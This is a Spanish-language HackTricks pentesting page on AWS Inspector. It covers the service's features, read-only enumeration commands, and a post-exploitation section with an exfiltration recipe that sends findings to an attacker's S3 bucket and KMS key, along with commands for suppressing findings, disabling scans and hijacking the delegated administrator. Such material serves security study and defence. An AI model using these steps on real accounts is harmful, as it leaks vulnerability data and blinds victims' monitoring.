AWS - Inspector Enum

AWS - Inspector Enum

Support HackTricks

Inspector

Amazon Inspector es un servicio avanzado y automatizado de gestión de vulnerabilidades diseñado para mejorar la seguridad de su entorno AWS. Este servicio escanea continuamente instancias de Amazon EC2, imágenes de contenedores en Amazon ECR, Amazon ECS y funciones de AWS Lambda en busca de vulnerabilidades y exposiciones no intencionadas en la red. Al aprovechar una robusta base de datos de inteligencia de vulnerabilidades, Amazon Inspector proporciona hallazgos detallados, incluidos niveles de severidad y recomendaciones de remediación, ayudando a las organizaciones a identificar y abordar proactivamente los riesgos de seguridad. Este enfoque integral asegura una postura de seguridad fortalecida en varios servicios de AWS, ayudando en el cumplimiento y la gestión de riesgos.

Key elements

Findings

Los hallazgos en Amazon Inspector son informes detallados sobre vulnerabilidades y exposiciones descubiertas durante el escaneo de instancias de EC2, repositorios de ECR o funciones de Lambda. Según su estado, los hallazgos se clasifican como:

  • Active: El hallazgo no ha sido remediado.

  • Closed: El hallazgo ha sido remediado.

  • Suppressed: El hallazgo ha sido marcado con este estado debido a una o más reglas de supresión.

Los hallazgos también se clasifican en los siguientes tres tipos:

  • Package: Estos hallazgos se relacionan con vulnerabilidades en paquetes de software instalados en sus recursos. Ejemplos incluyen bibliotecas obsoletas o dependencias con problemas de seguridad conocidos.

  • Code: Esta categoría incluye vulnerabilidades encontradas en el código de aplicaciones que se ejecutan en sus recursos de AWS. Los problemas comunes son errores de codificación o prácticas inseguras que podrían llevar a brechas de seguridad.

  • Network: Los hallazgos de red identifican exposiciones potenciales en configuraciones de red que podrían ser explotadas por atacantes. Estos incluyen puertos abiertos, protocolos de red inseguros y grupos de seguridad mal configurados.

Filters and Suppression Rules

Los filtros y las reglas de supresión en Amazon Inspector ayudan a gestionar y priorizar los hallazgos. Los filtros le permiten refinar los hallazgos según criterios específicos, como severidad o tipo de recurso. Las reglas de supresión le permiten suprimir ciertos hallazgos que se consideran de bajo riesgo, que ya han sido mitigados, o por cualquier otra razón importante, evitando que sobrecarguen sus informes de seguridad y permitiéndole centrarse en problemas más críticos.

Software Bill of Materials (SBOM)

Un Software Bill of Materials (SBOM) en Amazon Inspector es una lista de inventario anidada exportable que detalla todos los componentes dentro de un paquete de software, incluidas bibliotecas y dependencias. Los SBOM ayudan a proporcionar transparencia en la cadena de suministro de software, permitiendo una mejor gestión de vulnerabilidades y cumplimiento. Son cruciales para identificar y mitigar riesgos asociados con componentes de software de código abierto y de terceros.

Key features

Export findings

Amazon Inspector ofrece la capacidad de exportar hallazgos a Amazon S3 Buckets, Amazon EventBridge y AWS Security Hub, lo que le permite generar informes detallados de vulnerabilidades y exposiciones identificadas para un análisis posterior o compartir en una fecha y hora específicas. Esta función admite varios formatos de salida, como CSV y JSON, lo que facilita la integración con otras herramientas y sistemas. La funcionalidad de exportación permite la personalización de los datos incluidos en los informes, lo que le permite filtrar hallazgos según criterios específicos como severidad, tipo de recurso o rango de fechas e incluir por defecto todos sus hallazgos en la región AWS actual con un estado Activo.

Al exportar hallazgos, se necesita una clave de Key Management Service (KMS) para cifrar los datos durante la exportación. Las claves KMS aseguran que los hallazgos exportados estén protegidos contra el acceso no autorizado, proporcionando una capa adicional de seguridad para la información sensible de vulnerabilidades.

Amazon EC2 instances scanning

Amazon Inspector ofrece robustas capacidades de escaneo para instancias de Amazon EC2 para detectar vulnerabilidades y problemas de seguridad. Inspector comparó los metadatos extraídos de la instancia de EC2 con reglas de avisos de seguridad para producir vulnerabilidades de paquetes y problemas de accesibilidad de red. Estos escaneos se pueden realizar a través de métodos basados en agente o sin agente, dependiendo de la configuración de los ajustes de modo de escaneo de su cuenta.

  • Agent-Based: Utiliza el agente de AWS Systems Manager (SSM) para realizar escaneos en profundidad. Este método permite una recopilación y análisis de datos exhaustivos directamente desde la instancia.

  • Agentless: Proporciona una alternativa ligera que no requiere la instalación de un agente en la instancia, creando un snapshot de EBS de cada volumen de la instancia de EC2, buscando vulnerabilidades y luego eliminándolo; aprovechando la infraestructura existente de AWS para el escaneo.

El modo de escaneo determina qué método se utilizará para realizar escaneos de EC2:

  • Agent-Based: Implica la instalación del agente SSM en instancias de EC2 para una inspección profunda.

  • Hybrid Scanning: Combina métodos basados en agente y sin agente para maximizar la cobertura y minimizar el impacto en el rendimiento. En aquellas instancias de EC2 donde el agente SSM está instalado, Inspector realizará un escaneo basado en agente, y para aquellas donde no hay agente SSM, el escaneo realizado será sin agente.

Otra característica importante es la inspección profunda para instancias de Linux de EC2. Esta función ofrece un análisis exhaustivo del software y la configuración de las instancias de Linux de EC2, proporcionando evaluaciones detalladas de vulnerabilidades, incluidas vulnerabilidades del sistema operativo, vulnerabilidades de aplicaciones y configuraciones incorrectas, asegurando una evaluación de seguridad integral. Esto se logra a través de la inspección de rutas personalizadas y todos sus subdirectorios. Por defecto, Amazon Inspector escaneará lo siguiente, pero cada cuenta miembro puede definir hasta 5 rutas personalizadas más, y cada administrador delegado hasta 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR container images scanning

Amazon Inspector proporciona robustas capacidades de escaneo para imágenes de contenedores de Amazon Elastic Container Registry (ECR), asegurando que las vulnerabilidades de paquetes sean detectadas y gestionadas de manera eficiente.

  • Basic Scanning: Este es un escaneo rápido y ligero que identifica vulnerabilidades conocidas de paquetes de OS en imágenes de contenedores utilizando un conjunto estándar de reglas del proyecto de código abierto Clair. Con esta configuración de escaneo, sus repositorios serán escaneados al hacer push, o realizando escaneos manuales.

  • Enhanced Scanning: Esta opción agrega la función de escaneo continuo además del escaneo al hacer push. El escaneo mejorado profundiza en las capas de cada imagen de contenedor para identificar vulnerabilidades en paquetes de OS y en paquetes de lenguajes de programación con mayor precisión. Analiza tanto la imagen base como cualquier capa adicional, proporcionando una vista integral de los posibles problemas de seguridad.

Amazon Lambda functions scanning

Amazon Inspector incluye capacidades de escaneo completas para funciones de AWS Lambda y sus capas, asegurando la seguridad e integridad de las aplicaciones sin servidor. Inspector ofrece dos tipos de escaneo para funciones de Lambda:

  • Lambda standard scanning: Esta función predeterminada identifica vulnerabilidades de software en las dependencias del paquete de aplicación añadidas a su función de Lambda y capas. Por ejemplo, si su función utiliza una versión de una biblioteca como python-jwt con una vulnerabilidad conocida, genera un hallazgo.

  • Lambda code scanning: Analiza el código de la aplicación personalizada en busca de problemas de seguridad, detectando vulnerabilidades como fallos de inyección, filtraciones de datos, criptografía débil y falta de cifrado. Captura fragmentos de código que destacan las vulnerabilidades detectadas, como credenciales codificadas. Los hallazgos incluyen sugerencias de remediación detalladas y fragmentos de código para solucionar los problemas.

Center for Internet Security (CIS) scans

Amazon Inspector incluye escaneos de CIS para evaluar los sistemas operativos de las instancias de Amazon EC2 en comparación con las recomendaciones de mejores prácticas del Center for Internet Security (CIS). Estos escaneos aseguran que las configuraciones se adhieran a las bases de seguridad estándar de la industria.

  • Configuration: Los escaneos de CIS evalúan si las configuraciones del sistema cumplen con recomendaciones específicas del CIS Benchmark, con cada verificación vinculada a un ID de verificación y título del CIS.

  • Execution: Los escaneos se realizan o programan en función de las etiquetas de las instancias y los horarios definidos.

  • Results: Los resultados posteriores al escaneo indican qué verificaciones pasaron, se saltaron o fallaron, proporcionando información sobre la postura de seguridad de cada instancia.

Enumeration

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Explotación

Desde la perspectiva de un atacante, este servicio puede ayudar al atacante a encontrar vulnerabilidades y exposiciones de red que podrían ayudarle a comprometer otras instancias/contenedores.

Sin embargo, un atacante también podría estar interesado en interrumpir este servicio para que la víctima no pueda ver vulnerabilidades (todas o específicas).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Un atacante podría generar informes detallados de vulnerabilidades o listas de materiales de software (SBOM) y exfiltrarlos de su entorno de AWS. Esta información podría ser explotada para identificar debilidades específicas, software desactualizado o dependencias inseguras, lo que permitiría ataques dirigidos.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

El siguiente ejemplo muestra cómo exfiltrar todos los hallazgos activos de Amazon Inspector a un bucket de Amazon S3 controlado por el atacante con una clave de Amazon KMS controlada por el atacante:

  1. Cree un bucket de Amazon S3 y adjunte una política a él para que sea accesible desde el Amazon Inspector de la víctima:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Crea una clave de Amazon KMS y adjunta una política a ella para que sea utilizable por el Amazon Inspector de la víctima:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Ejecuta el comando para crear el informe de hallazgos exfiltrándolo:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impacto Potencial: Generación y exfiltración de informes detallados de vulnerabilidades y software, obteniendo información sobre vulnerabilidades específicas y debilidades de seguridad.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Un atacante podría cancelar la generación del informe de hallazgos especificado o del informe SBOM, impidiendo que los equipos de seguridad reciban información oportuna sobre vulnerabilidades y la lista de materiales de software (SBOM), retrasando la detección y remediación de problemas de seguridad.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impacto Potencial: Disrupción de la monitorización de seguridad y prevención de la detección y remediación oportuna de problemas de seguridad.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Un atacante con estos permisos podría manipular las reglas de filtrado que determinan qué vulnerabilidades y problemas de seguridad se informan o suprimen (si la acción se establece en SUPPRESS, se crearía una regla de supresión). Esto podría ocultar vulnerabilidades críticas de los administradores de seguridad, facilitando la explotación de estas debilidades sin detección. Al alterar o eliminar filtros importantes, un atacante también podría crear ruido inundando el sistema con hallazgos irrelevantes, obstaculizando la monitorización y respuesta de seguridad efectivas.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impacto Potencial: Ocultación o supresión de vulnerabilidades críticas, o inundación del sistema con hallazgos irrelevantes.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Un atacante podría interrumpir significativamente la estructura de gestión de seguridad.

  • Al deshabilitar la cuenta de administrador delegado, el atacante podría impedir que el equipo de seguridad acceda y gestione la configuración y los informes de Amazon Inspector.

  • Habilitar una cuenta de administrador no autorizada permitiría a un atacante controlar las configuraciones de seguridad, potencialmente deshabilitando escaneos o modificando configuraciones para ocultar actividades maliciosas.

Se requiere que la cuenta no autorizada esté en la misma Organización que la víctima para convertirse en el administrador delegado.

Para que la cuenta no autorizada se convierta en el administrador delegado, también se requiere que después de que el administrador delegado legítimo sea deshabilitado, y antes de que la cuenta no autorizada sea habilitada como el administrador delegado, el administrador legítimo debe ser desregistrado como el administrador delegado de la organización. Esto se puede hacer con el siguiente comando (organizations:DeregisterDelegatedAdministrator permiso requerido): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impacto Potencial: Disrupción de la gestión de seguridad.

inspector2:AssociateMember, inspector2:DisassociateMember

Un atacante podría manipular la asociación de cuentas miembros dentro de una organización de Amazon Inspector. Al asociar cuentas no autorizadas o desasociar cuentas legítimas, un atacante podría controlar qué cuentas se incluyen en los escaneos de seguridad y en los informes. Esto podría llevar a que cuentas críticas sean excluidas de la monitorización de seguridad, permitiendo al atacante explotar vulnerabilidades en esas cuentas sin ser detectado.

Esta acción debe ser realizada por el administrador delegado.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impacto Potencial: Exclusión de cuentas clave de los escaneos de seguridad, lo que permite la explotación no detectada de vulnerabilidades.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Un atacante con el permiso inspector2:Disable podría deshabilitar los escaneos de seguridad en tipos de recursos específicos (EC2, ECR, Lambda, código de Lambda) sobre las cuentas especificadas, dejando partes del entorno de AWS sin supervisión y vulnerables a ataques. Además, gracias a los permisos inspector2:Enable & iam:CreateServiceLinkedRole, un atacante podría volver a habilitar escaneos selectivamente para evitar la detección de configuraciones sospechosas.

Esta acción debe ser realizada por el administrador delegado.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impacto Potencial: Creación de puntos ciegos en la monitorización de seguridad.

inspector2:UpdateOrganizationConfiguration

Un atacante con este permiso podría actualizar las configuraciones para su organización de Amazon Inspector, afectando las características de escaneo predeterminadas habilitadas para nuevas cuentas de miembros.

Esta acción debe ser realizada por el administrador delegado.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impacto Potencial: Alterar políticas y configuraciones de escaneo de seguridad para la organización.

inspector2:TagResource, inspector2:UntagResource

Un atacante podría manipular etiquetas en los recursos de AWS Inspector, que son críticos para organizar, rastrear y automatizar evaluaciones de seguridad. Al alterar o eliminar etiquetas, un atacante podría potencialmente ocultar vulnerabilidades de los escaneos de seguridad, interrumpir los informes de cumplimiento e interferir con los procesos de remediación automatizados, lo que llevaría a problemas de seguridad no controlados y a la integridad del sistema comprometida.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impacto Potencial: Ocultamiento de vulnerabilidades, interrupción de informes de cumplimiento, interrupción de la automatización de seguridad y interrupción de la asignación de costos.

Referencias

Apoya a HackTricks

Last updated